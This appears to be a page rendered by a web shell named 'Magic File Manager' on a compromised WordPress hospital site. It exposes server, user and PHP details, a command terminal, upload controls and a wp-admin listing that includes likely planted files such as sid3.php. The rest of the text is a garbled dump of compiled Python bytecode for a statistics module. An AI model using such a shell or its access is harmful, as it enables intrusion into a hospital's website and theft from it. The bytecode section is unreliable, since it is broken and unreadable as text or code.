✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
Ë â{|j3Äãóš—UdZgd¢ZddlZddlZddlZddlZddlmZddlm Z ddl m Z m Z m Z ddlmZmZddlmZmZmZmZmZmZmZmZmZdd lmZdd lmZdd lmZm Z m!Z!ed «Z"Gd „de#«Z$d„Z%dCd„Z&d„Z'd„Z(d„Z)d„Z*dDd„Z+dddddœde,e-fd„Z.de/de/de/fd„Z0dejbjdzd zZ3e/e4d!<de/de/de-fd"„Z5de/de/de fd#„Z6d$„Z7dCd%„Z8d&„Z9dCd'„Z:d(„Z;d)„Zd,„Z?d-„Z@d.d/d0œd1„ZAdCd2„ZBdCd3„ZCdCd4„ZDdCd5„ZEd6„ZFd7„ZGd8d9œd:„ZHe d;d<«ZIdd=œd>„ZJd?„ZK dd@lLmKZKGdA„dB«ZNy#eM$rYŒwxYw)Fa× Basic statistics module. This module provides functions for calculating statistics of data, including averages, variance, and standard deviation. Calculating averages -------------------- ================== ================================================== Function Description ================== ================================================== mean Arithmetic mean (average) of data. fmean Fast, floating-point arithmetic mean. geometric_mean Geometric mean of data. harmonic_mean Harmonic mean of data. median Median (middle value) of data. median_low Low median of data. median_high High median of data. median_grouped Median, or 50th percentile, of grouped data. mode Mode (most common value) of data. multimode List of modes (most common values of data). quantiles Divide data into intervals with equal probability. ================== ================================================== Calculate the arithmetic mean ("the average") of data: >>> mean([-1.0, 2.5, 3.25, 5.75]) 2.625 Calculate the standard median of discrete data: >>> median([2, 3, 4, 5]) 3.5 Calculate the median, or 50th percentile, of data grouped into class intervals centred on the data values provided. E.g. if your data points are rounded to the nearest whole number: >>> median_grouped([2, 2, 3, 3, 3, 4]) #doctest: +ELLIPSIS 2.8333333333... This should be interpreted in this way: you have two data points in the class interval 1.5-2.5, three data points in the class interval 2.5-3.5, and one in the class interval 3.5-4.5. The median of these data points is 2.8333... Calculating variability or spread --------------------------------- ================== ============================================= Function Description ================== ============================================= pvariance Population variance of data. variance Sample variance of data. pstdev Population standard deviation of data. stdev Sample standard deviation of data. ================== ============================================= Calculate the standard deviation of sample data: >>> stdev([2.5, 3.25, 5.5, 11.25, 11.75]) #doctest: +ELLIPSIS 4.38961843444... If you have previously calculated the mean, you can pass it as the optional second argument to the four "spread" functions to avoid recalculating it: >>> data = [1, 2, 2, 4, 4, 4, 5, 6] >>> mu = mean(data) >>> pvariance(data, mu) 2.5 Statistics for relations between two inputs ------------------------------------------- ================== ==================================================== Function Description ================== ==================================================== covariance Sample covariance for two variables. correlation Pearson's correlation coefficient for two variables. linear_regression Intercept and slope for simple linear regression. ================== ==================================================== Calculate covariance, Pearson's correlation, and simple linear regression for two inputs: >>> x = [1, 2, 3, 4, 5, 6, 7, 8, 9] >>> y = [1, 2, 3, 1, 2, 3, 1, 2, 3] >>> covariance(x, y) 0.75 >>> correlation(x, y) #doctest: +ELLIPSIS 0.31622776601... >>> linear_regression(x, y) #doctest: LinearRegression(slope=0.1, intercept=1.5) Exceptions ---------- A single exception is defined: StatisticsError is a subclass of ValueError. )Ú NormalDistÚStatisticsErrorÚ correlationÚ covarianceÚfmeanÚgeometric_meanÚ harmonic_meanÚlinear_regressionÚmeanÚmedianÚmedian_groupedÚ median_highÚ median_lowÚmodeÚ multimodeÚpstdevÚ pvarianceÚ quantilesÚstdevÚvarianceéN©ÚFraction)ÚDecimal)ÚcountÚgroupbyÚrepeat)Ú bisect_leftÚ bisect_right) ÚhypotÚsqrtÚfabsÚexpÚerfÚtauÚlogÚfsumÚsumprod)Úreduce)Ú itemgetter)ÚCounterÚ namedtupleÚ defaultdictç@có —eZdZy)rN)Ú__name__Ú __module__Ú __qualname__©óú#/usr/lib64/python3.12/statistics.pyrr”s„Ør3rcó†—d}t«}|j}i}|j}t|t«D]9\}}||«t t |«D]\}} |dz }|| d«|z|| <ŒŒ;d|vr|d} t| «r"J‚td„|j«D««} tt|t«} | | |fS)a¨_sum(data) -> (type, sum, count) Return a high-precision sum of the given numeric data as a fraction, together with the type to be converted to and the count of items. Examples -------- >>> _sum([3, 2.25, 4.5, -0.5, 0.25]) (, Fraction(19, 2), 5) Some sources of round-off error will be avoided: # Built-in sum returns zero. >>> _sum([1e50, 1, -1e50] * 1000) (, Fraction(1000, 1), 3000) Fractions and Decimals are also supported: >>> from fractions import Fraction as F >>> _sum([F(2, 3), F(7, 5), F(1, 4), F(5, 6)]) (, Fraction(63, 20), 4) >>> from decimal import Decimal as D >>> data = [D("0.1375"), D("0.2108"), D("0.3061"), D("0.0419")] >>> _sum(data) (, Fraction(6963, 10000), 4) Mixed types are currently treated as an error, except that int is allowed. réNc3ó:K—|]\}}t||«–—Œy­w©Nr©Ú.0ÚdÚns r4Ú z_sum..Ësèø€Ð@Ñ/?¡t q¨!”H˜Q —NÑ/?ùó‚) ÚsetÚaddÚgetrÚtypeÚmapÚ _exact_ratioÚ _isfiniteÚsumÚitemsr(Ú_coerceÚint) ÚdatarÚtypesÚ types_addÚpartialsÚ partials_getÚtypÚvaluesr<r;ÚtotalÚTs r4Ú_sumrSšs΀ð@ €EÜ ‹E€EØ— ‘ €IØ€HØ—<‘<€Lܘt¤TÖ*‰ ˆˆVÙ�#ŒÜœ  fÖ-‰DˆAˆqØ �Q‰JˆEÙ& q¨!Ó,¨qÑ0ˆH�QŠKñ.ð+ð  ˆxÑ𘑈ܘUÔ#Ð#Ð#ôÑ@¨x¯~©~Ô/?Ó@Ó@ˆÜŒw˜œsÓ#€AØ ˆu�eÐ Ðr3c󔇇—‰�tˆˆfd„|D««\}}}||‰|fSd}t«}|j}tt«}tt«}t |t «D]G\} } || «tt| «D]'\} Š|dz }|‰xx| z cc<|‰xx| | zz cc<Œ)ŒI|std«x}Šnkd|vr|dx}Št|«rUJ‚td„|j«D««} td„|j«D««} || z| | zz |z }| |z Štt|t«}||‰|fS)a3Return the exact mean and sum of square deviations of sequence data. Calculations are done in a single pass, allowing the input to be an iterator. If given *c* is used the mean; otherwise, it is calculated from the data. Use the *c* argument with care, as it can lead to garbage results. Nc3ó2•K—|]}|‰z xЉz–—Œy­wr8r2)r:ÚxÚcr;s €€r4r=z_ss..Úsøèø€Ð<±t°! 1 q¡5˜j˜a¨AÕ-±tùsƒrr6c3ó:K—|]\}}t||«–—Œy­wr8rr9s r4r=z_ss..ïsèø€Ð@Ñ,?¡D A q”˜!˜Q—Ñ,?ùr>c3ó@K—|]\}}t|||z«–—Œy­wr8rr9s r4r=z_ss..ðs"èø€ÐDÑ/C¡t q¨!”(˜1˜a ™c×"Ñ/Cùs‚)rSr?r@r,rIrrBrCrDrrErFrGr(rH)rJrWrRÚssdrrKrLÚ sx_partialsÚ sxx_partialsrOrPr<ÚsxÚsxxr;s ` @r4Ú_ssr_Ðs\ù€ð €}ÜÔ<±tÓ<Ó<‰ ˆˆ3�Ø�3˜˜5Ð!Ð!Ø €EÜ ‹E€EØ— ‘ €IÜœcÓ"€KÜœsÓ#€Lܘt¤TÖ*‰ ˆˆVÙ�#ŒÜœ  fÖ-‰DˆAˆqØ �Q‰JˆEØ ˜‹N˜aÑ ‹NØ ˜‹O˜q 1™uÑ $ŒOñ.ð+ñ ܘ1“+Ј‰aØ �Ñ ð˜dÑ#Ð#ˆˆaܘS”>Ð!Ð!ä Ñ@¨K×,=Ñ,=Ô,?Ó@Ó @ˆÜÑD¨|×/AÑ/AÔ/CÓDÓDˆð�s‰{˜R "™WÑ$¨Ñ-ˆØ �‰JˆÜŒw˜œsÓ#€AØ ˆs�A�uÐ Ðr3cól— |j«S#t$rtj|«cYSwxYwr8)Ú is_finiteÚAttributeErrorÚmathÚisfinite)rVs r4rErEùs1€ð Ø�{‰{‹}ÐøÜ ò Ü�}‰}˜QÓÒð ús ‚’3²3có¸—|tusJd«‚||ur|S|tus|tur|S|tur|St||«r|St||«r|St|t«r|St|t«r|St|t«rt|t«r|St|t«rt|t«r|Sd}t ||j |j fz«‚)z½Coerce types T and S to a common type, or raise TypeError. Coercion rules are currently an implementation detail. See the CoerceTest test class in test_statistics for details. zinitial type T is boolz"don't know how to coerce %s and %s)ÚboolrIÚ issubclassrÚfloatÚ TypeErrorr/)rRÚSÚmsgs r4rHrHsÉ€ð ”D‰=Ð2Ð2Ó2ˆ=ð ˆA�v�q�àŒC�x�1œ‘9 a˜xØŒC�x˜�(ä�!�QÔ ˜(Ü�!�QÔ ˜(ä�!”SÔ 1˜HÜ�!”SÔ 1˜Hä�!”XÔ¤:¨a´Ô#7؈Ü�!”UÔ¤ ¨1¬hÔ 7؈à .€CÜ �C˜1Ÿ:™: q§z¡zÐ2Ñ2Ó 3Ð3r3có— |j«S#t$rYn%ttf$rt |«rJ‚|dfcYSwxYw |j |j fS#t$r%dt|«j›d�}t|«‚wxYw)z¥Return Real number x to exact (numerator, denominator) pair. >>> _exact_ratio(0.25) (1, 4) x is expected to be an int, Fraction, Decimal or float. Nzcan't convert type 'z' to numerator/denominator) Úas_integer_ratiorbÚ OverflowErrorÚ ValueErrorrEÚ numeratorÚ denominatorrBr/ri)rVrks r4rDrDs—€ð<Ø×!Ñ!Ó#Ð#øÜ ò Ù Ü œ:Ð &òä˜Q”<ÐÐØ�4ˆyÒðúðà— ‘ ˜QŸ]™]Ð+Ð+øÜ òØ$¤T¨!£W×%5Ñ%5Ð$6Ð6PÐQˆÜ˜‹nÐðús‚’ ?�?¾?ÁAÁ.B có—t|«|ur|St|t«r|jdk7rt} ||«S#t $r9t|t «r'||j«||j«z cYS‚wxYw)z&Convert value to given numeric type T.r6)rBrgrIrqrhrirrp)ÚvaluerRs r4Ú_convertrtMsz€ä ˆEƒ{�aÑðˆ Ü�!”SÔ˜e×/Ñ/°1Ò4Ü ˆðá�‹xˆøÜ òÜ �aœÔ !Ù�U—_‘_Ó%©¨%×*;Ñ*;Ó(<Ñ<Ò <à ð ús¶>¾>BÁ>Bc#óBK—|D]}|dkr t|«‚|–—Œy­w)z7Iterate over values, failing if any are less than zero.rN)r)rPÚerrmsgrVs r4Ú _fail_negrw_s'èø€ã ˆØ ˆqŠ5Ü! &Ó)Ð )Ø‹ñùs‚FÚaverager6)ÚkeyÚreverseÚtiesÚstartÚreturncóT—|dk7rtd|›�«‚|� t||«}tt|t ««|¬«}|dz }dgt |«z}t |td«¬«D]:\}} t| «} t | «} || dzdz z} | D] \} }| ||<Œ || z }Œ<|S)a Rank order a dataset. The lowest value has rank 1. Ties are averaged so that equal values receive the same rank: >>> data = [31, 56, 31, 25, 75, 18] >>> _rank(data) [3.5, 5.0, 3.5, 2.0, 6.0, 1.0] The operation is idempotent: >>> _rank([3.5, 5.0, 3.5, 2.0, 6.0, 1.0]) [3.5, 5.0, 3.5, 2.0, 6.0, 1.0] It is possible to rank the data in reverse order so that the highest value has rank 1. Also, a key-function can extract the field to be ranked: >>> goals = [('eagles', 45), ('bears', 48), ('lions', 44)] >>> _rank(goals, key=itemgetter(1), reverse=True) [2.0, 1.0, 3.0] Ranks are conventionally numbered starting from one; however, setting *start* to zero allows the ranks to be used as array indices: >>> prize = ['Gold', 'Silver', 'Bronze', 'Certificate'] >>> scores = [8.1, 7.3, 9.4, 8.3] >>> [prize[int(i)] for i in _rank(scores, start=0, reverse=True)] ['Bronze', 'Certificate', 'Gold', 'Silver'] rxzUnknown tie resolution method: )rzr6r)ryé) rorCÚsortedÚziprÚlenrr)Úlist)rJryrzr{r|Úval_posÚiÚresultÚ_ÚgÚgroupÚsizeÚrankrsÚorig_poss r4Ú_rankr�gsÀðJ ˆyÒÜÐ:¸4¸(ÐCÓDÐDØ €Ü�3˜‹~ˆÜ”S˜œu›wÓ'°Ô9€GØ �‰ €A؈S”3�w“<Ñ €Fܘ¤Z°£]×3‰ˆˆ1Ü�Q“ˆÜ�5‹zˆØ�D˜1‘H ‘>Ñ!ˆÛ$‰OˆE�8Ø#ˆF�8Ò ð %à ˆT‰ ‰ð 4ð €Mr3r<ÚmcóN—tj||z«}|||z|z|k7zS)zFSquare root of n/m, rounded to the nearest integer using round-to-odd.)rcÚisqrt)r<rŽÚas r4Ú_integer_sqrt_of_frac_rtor’�s-€ô � ‰ �1˜‘6Ó€AØ ��!‘�A‘˜‘ Ñ Ðr3réÚ_sqrt_bit_widthcóÔ—|j«|j«z tz dz}|dk\rt||d|zz«|z}d}||z St|d|zz|«}d| z}||z S)z1Square root of n/m as a float, correctly rounded.rrr6éþÿÿÿ)Ú bit_lengthr”r’)r<rŽÚqrprqs r4Ú_float_sqrt_of_fracr™©s‚€ð �‰‹˜!Ÿ,™,›.Ñ (¬?Ñ :¸qÑ@€A؈A‚vÜ-¨a°°a¸!±e±Ó<ÀÑAˆ ؈ ð �{Ñ "Ð"ô.¨a°2¸±6©k¸1Ó=ˆ ؘA˜2‘gˆ Ø �{Ñ "Ð"r3cóº—|dkr|s td«S| | }}t|«t|«z j«}|j«\}}|j«}|j«\}}d|z||zdzz|||z||zzdzzkDr|S|j «}|j«\} } d|z|| zdzz||| z| |zzdzzkr|S|S)z3Square root of n/m as a Decimal, correctly rounded.rz0.0ér)rr rmÚ next_plusÚ next_minus) r<rŽÚrootÚnrÚdrÚplusÚnpÚdpÚminusÚnmÚdms r4Ú_decimal_sqrt_of_fracr§¶sû€ð  ˆA‚vÙܘ5“>Ð !؈r�A�2ˆ1ˆä �A‹Jœ ›Ñ #× )Ñ )Ó +€DØ × "Ñ "Ó $�F€Bˆà �>‰>Ó €DØ × "Ñ "Ó $�F€Bˆàˆ1�u��2‘˜‰zјA  B¡¨¨B©¡°Ñ 2Ñ2Ò2؈ à �O‰OÓ €EØ × #Ñ #Ó %�F€Bˆàˆ1�u��2‘˜‰zјA  B¡¨¨B©¡°Ñ 2Ñ2Ò2؈ à €Kr3có^—t|«\}}}|dkr td«‚t||z |«S)aƒReturn the sample arithmetic mean of data. >>> mean([1, 2, 3, 4, 4]) 2.8 >>> from fractions import Fraction as F >>> mean([F(3, 7), F(1, 21), F(5, 3), F(1, 3)]) Fraction(13, 21) >>> from decimal import Decimal as D >>> mean([D("0.5"), D("0.75"), D("0.625"), D("0.375")]) Decimal('0.5625') If ``data`` is empty, StatisticsError will be raised. r6z%mean requires at least one data point)rSrrt)rJrRrQr<s r4r r Ôs7€ô �t“*�K€A€uˆa؈1‚uÜÐEÓFÐFÜ �E˜A‘I˜qÓ !Ð!r3có\‡—|€) t|«Št|«}‰s td«‚|‰z St |t t f«s t |«} t||«}t|«}|s td«‚||z S#t$rdŠˆfd„}||«}YŒ‚wxYw#t$r td«‚wxYw)zôConvert data to floats and compute the arithmetic mean. This runs faster than the mean() function and it always returns a float. If the input dataset is empty, it raises a StatisticsError. >>> fmean([3.5, 4.0, 5.25]) 4.25 rc3ó@•K—t|d¬«D] \Š}|–—Œ y­w)Nr6©r|)Ú enumerate)ÚiterablerVr<s €r4rzfmean..countùs!øèø€ä% h°a×8‘D�A�qØ“Gñ9ùsƒz&fmean requires at least one data pointz(data and weights must be the same lengthzsum of weights must be non-zero) r‚rir&rÚ isinstancerƒÚtupler'ro)rJÚweightsrrQÚnumÚdenr<s @r4rrêsÍø€ð€ð Ü�D“ ˆAô�T“ ˆÙÜ!Ð"JÓKÐ KØ�q‰yÐÜ �g¤¤e˜}Ô -Ü�w“-ˆðJÜ�d˜GÓ$ˆô ˆw‹-€CÙ ÜÐ?Ó@Ð@Ø �‰9Ðøô+ò àˆAô ñ˜“;ŠDð ûô òJÜÐHÓIÐIðJús… A8Á BÁ8BÂBÂB+cóz— tttt|«««S#t$r t d«d‚wxYw)aYConvert data to floats and compute the geometric mean. Raises a StatisticsError if the input dataset is empty, if it contains a zero, or if it contains a negative value. No special efforts are made to achieve exact results. (However, this may change in the future.) >>> round(geometric_mean([54, 24, 36]), 9) 36.0 zGgeometric mean requires a non-empty dataset containing positive numbersN)r"rrCr%ror)rJs r4rrsE€ðGÜ”5œœS $›Ó(Ó)Ð)øÜ òGÜð<ó=ØBFð GðGús‚!$¤:cóx—t|«|ur t|«}d}t|«}|dkr td«‚|dk(rD|€B|d}t |t j tf«r|dkr t|«‚|Std«‚|€td|«}|}nQt|«|ur t|«}t|«|k7r td«‚td„t||«D««\}}} t||«}td„t||«D««\}}} |dkr td «‚t||z |«S#t$rYywxYw) aÞReturn the harmonic mean of data. The harmonic mean is the reciprocal of the arithmetic mean of the reciprocals of the data. It can be used for averaging ratios or rates, for example speeds. Suppose a car travels 40 km/hr for 5 km and then speeds-up to 60 km/hr for another 5 km. What is the average speed? >>> harmonic_mean([40, 60]) 48.0 Suppose a car travels 40 km/hr for 5 km, and when traffic clears, speeds-up to 60 km/hr for the remaining 30 km of the journey. What is the average speed? >>> harmonic_mean([40, 60], weights=[5, 30]) 56.0 If ``data`` is empty, or any element is less than zero, ``harmonic_mean`` will raise ``StatisticsError``. z.harmonic mean does not support negative valuesr6z.harmonic_mean requires at least one data pointrzunsupported typez*Number of weights does not match data sizec3ó K—|]}|–—Œy­wr8r2)r:Úws r4r=z harmonic_mean..Nsèø€Ð GÑ,F q¤Ñ,Fùs‚ c3ó4K—|]\}}|r||z nd–—Œy­w)rNr2)r:r¶rVs r4r=z harmonic_mean..Qs"èø€ÐPÑ=O±T°Q¸©˜q 1šu¨qÓ0Ñ=Oùs‚zWeighted sum must be positive)Úiterrƒr‚rr®ÚnumbersÚRealrrirrSrwr�ÚZeroDivisionErrorrt) rJr°rvr<rVÚ sum_weightsr‡rRrQrs r4rr!sM€ô. ˆDƒz�TÑÜ�D‹zˆØ =€FÜ ˆD‹ €A؈1‚uÜÐNÓOÐOØ ˆaŠ�G�OØ �‰GˆÜ �aœ'Ÿ,™,¬Ð0Ô 1Ø�1ŠuÜ% fÓ-Ð-؈HäÐ.Ó/Ð /؀ܘ˜A“,ˆØ‰ ä �‹=˜GÑ #ܘ7“mˆGÜ ˆw‹<˜1Ò Ü!Ð"NÓOÐ OÜ Ñ G¬I°g¸vÔ,FÓ GÓGшˆ;˜ðܘ˜vÓ&ˆÜÑP¼SÀÈ$Ô=OÓPÓP‰ˆˆ5�%ð �‚zÜÐ=Ó>Ð>Ü �K %Ñ'¨Ó +Ð+øô òÙðúsÃ",D-Ä- D9Ä8D9cóš—t|«}t|«}|dk(r td«‚|dzdk(r||dzS|dz}||dz ||zdz S)aBReturn the median (middle value) of numeric data. When the number of data points is odd, return the middle data point. When the number of data points is even, the median is interpolated by taking the average of the two middle values: >>> median([1, 3, 5]) 3 >>> median([1, 3, 5, 7]) 4.0 rúno median for empty datarr6©r€r‚r)rJr<r…s r4r r Ysg€ô �$‹<€DÜ ˆD‹ €A؈A‚vÜÐ8Ó9Ð9؈1�u�‚zØ�A˜‘F‰|Ðà �‰FˆØ�Q˜‘U‘ ˜d 1™gÑ%¨Ñ*Ð*r3có„—t|«}t|«}|dk(r td«‚|dzdk(r||dzS||dzdz S)a Return the low median of numeric data. When the number of data points is odd, the middle value is returned. When it is even, the smaller of the two middle values is returned. >>> median_low([1, 3, 5]) 3 >>> median_low([1, 3, 5, 7]) 3 rr¾rr6r¿©rJr<s r4rrqsU€ô �$‹<€DÜ ˆD‹ €A؈A‚vÜÐ8Ó9Ð9؈1�u�‚zØ�A˜‘F‰|Ðà�A˜‘F˜Q‘JÑÐr3có^—t|«}t|«}|dk(r td«‚||dzS)aReturn the high median of data. When the number of data points is odd, the middle value is returned. When it is even, the larger of the two middle values is returned. >>> median_high([1, 3, 5]) 3 >>> median_high([1, 3, 5, 7]) 5 rr¾rr¿rÁs r4r r ‡s7€ô �$‹<€DÜ ˆD‹ €A؈A‚vÜÐ8Ó9Ð9Ø ��Q‘‰<Ðr3có*—t|«}t|«}|s td«‚||dz}t||«}t |||¬«} t |«}t |«}||dz z }|}||z }|||dz |z z|z zS#t $r td«‚wxYw)a„Estimates the median for numeric data binned around the midpoints of consecutive, fixed-width intervals. The *data* can be any iterable of numeric data with each value being exactly the midpoint of a bin. At least one value must be present. The *interval* is width of each bin. For example, demographic information may have been summarized into consecutive ten-year age groups with each group being represented by the 5-year midpoints of the intervals: >>> demographics = Counter({ ... 25: 172, # 20 to 30 years old ... 35: 484, # 30 to 40 years old ... 45: 387, # 40 to 50 years old ... 55: 22, # 50 to 60 years old ... 65: 6, # 60 to 70 years old ... }) The 50th percentile (median) is the 536th person out of the 1071 member cohort. That person is in the 30 to 40 year old age group. The regular median() function would assume that everyone in the tricenarian age group was exactly 35 years old. A more tenable assumption is that the 484 members of that age group are evenly distributed between 30 and 40. For that, we use median_grouped(). >>> data = list(demographics.elements()) >>> median(data) 35 >>> round(median_grouped(data, interval=10), 1) 37.5 The caller is responsible for making sure the data points are separated by exact multiples of *interval*. This is essential for getting a correct result. The function does not check this precondition. Inputs may be any numeric type that can be coerced to a float during the interpolation step. r¾r)Úloz$Value cannot be converted to a floatr-)r€r‚rrrrhrori) rJÚintervalr<rVr…ÚjÚLÚcfÚfs r4r r šsÀôV �$‹<€DÜ ˆD‹ €AÙ ÜÐ8Ó9Ð9ð ˆQ�!‰V‰ €Aô �D˜!Ó€AÜ�T˜1 Ô#€AðAܘ“?ˆÜ �!‹Hˆð ˆH�s‰NÑ€AØ €BØ ˆA‰€AØ ˆx˜1˜q™5 2™:Ñ&¨Ñ*Ñ *Ð*øô òAÜÐ>Ó@Ð@ðAús ÁA=Á=BcóŒ—tt|««jd«} |ddS#t$r t d«d‚wxYw)axReturn the most common data point from discrete or nominal data. ``mode`` assumes discrete data, and returns a single value. This is the standard treatment of the mode as commonly taught in schools: >>> mode([1, 1, 2, 3, 3, 3, 3, 4]) 3 This also works with nominal (non-numeric) data: >>> mode(["red", "blue", "blue", "red", "green", "red", "red"]) 'red' If there are multiple modes with same frequency, return the first one encountered: >>> mode(['red', 'red', 'green', 'blue', 'blue']) 'red' If *data* is empty, ``mode``, raises StatisticsError. r6rzno mode for empty dataN)r*r¸Ú most_commonÚ IndexErrorr)rJÚpairss r4rrâsP€ô. ”D˜“JÓ × +Ñ +¨AÓ .€EðBØ�Q‰x˜‰{ÐøÜ òBÜÐ6Ó7¸TÐAðBús ¥-­Acó—tt|««}|sgSt|j««}|j «D��cgc] \}}||k(sŒ |‘Œc}}Scc}}w)a.Return a list of the most frequently occurring values. Will return more than one result if there are multiple modes or an empty list if *data* is empty. >>> multimode('aabbbbbbbbcc') ['b'] >>> multimode('aabbbbccddddeeffffgg') ['b', 'd', 'f'] >>> multimode('') [] )r*r¸ÚmaxrPrG)rJÚcountsÚmaxcountrsrs r4rrsS€ô”T˜$“ZÓ €F٠؈ Ü�6—=‘=“?Ó#€HØ&,§l¡l¤nÔ J¡n‘l�e˜U¸ÀÓ8IŠE nÒ JÐJùÓ Js Á AÁAr›Ú exclusive)r<Úmethodcó(—|dkr td«‚t|«}t|«}|dkr td«‚|dk(rW|dz }g}td|«D]?}t ||z|«\}}||||z z||dz|zz|z } |j | «ŒA|S|dk(rn|dz}g}td|«D]V}||z|z}|dkrdn||dz kDr|dz n|}||z||zz }||dz ||z z|||zz|z } |j | «ŒX|St d|›�«‚)a�Divide *data* into *n* continuous intervals with equal probability. Returns a list of (n - 1) cut points separating the intervals. Set *n* to 4 for quartiles (the default). Set *n* to 10 for deciles. Set *n* to 100 for percentiles which gives the 99 cuts points that separate *data* in to 100 equal sized groups. The *data* can be any iterable containing sample. The cut points are linearly interpolated between data points. If *method* is set to *inclusive*, *data* is treated as population data. The minimum value is treated as the 0th percentile and the maximum value is treated as the 100th percentile. r6zn must be at least 1rz"must have at least two data pointsÚ inclusiverÒúUnknown method: )rr€r‚ÚrangeÚdivmodÚappendro) rJr<rÓÚldrŽr†r…rÆÚdeltaÚ interpolateds r4rr9sa€ð  ˆ1‚uÜÐ4Ó5Ð5Ü �$‹<€DÜ ˆT‹€BØ ˆA‚vÜÐBÓCÐCØ �ÒØ �‰FˆØˆÜ�q˜!–ˆAܘa !™e QÓ'‰HˆAˆuØ  ™G q¨5¡yÑ1°D¸¸Q¹±KÀ%Ñ4GÑGÈ1ÑLˆLØ �M‰M˜,Õ 'ððˆ Ø �ÒØ �‰FˆØˆÜ�q˜!–ˆAØ�A‘˜‘ ˆAؘ’U‘¨¨B¨q©Dª  1¢°aˆAØ�a‘C˜!˜A™#‘IˆEØ   Q¡™K¨1¨u©9Ñ5¸¸Q¹À%¹ÑGÈ1ÑLˆLØ �M‰M˜,Õ 'ð ð ˆ Ü Ð'¨ zÐ2Ó 3Ð3r3cóh—t||«\}}}}|dkr td«‚t||dz z |«S)aÂReturn the sample variance of data. data should be an iterable of Real-valued numbers, with at least two values. The optional argument xbar, if given, should be the mean of the data. If it is missing or None, the mean is automatically calculated. Use this function when your data is a sample from a population. To calculate the variance from the entire population, see ``pvariance``. Examples: >>> data = [2.75, 1.75, 1.25, 0.25, 0.5, 1.25, 3.5] >>> variance(data) 1.3720238095238095 If you have already calculated the mean of your data, you can pass it as the optional second 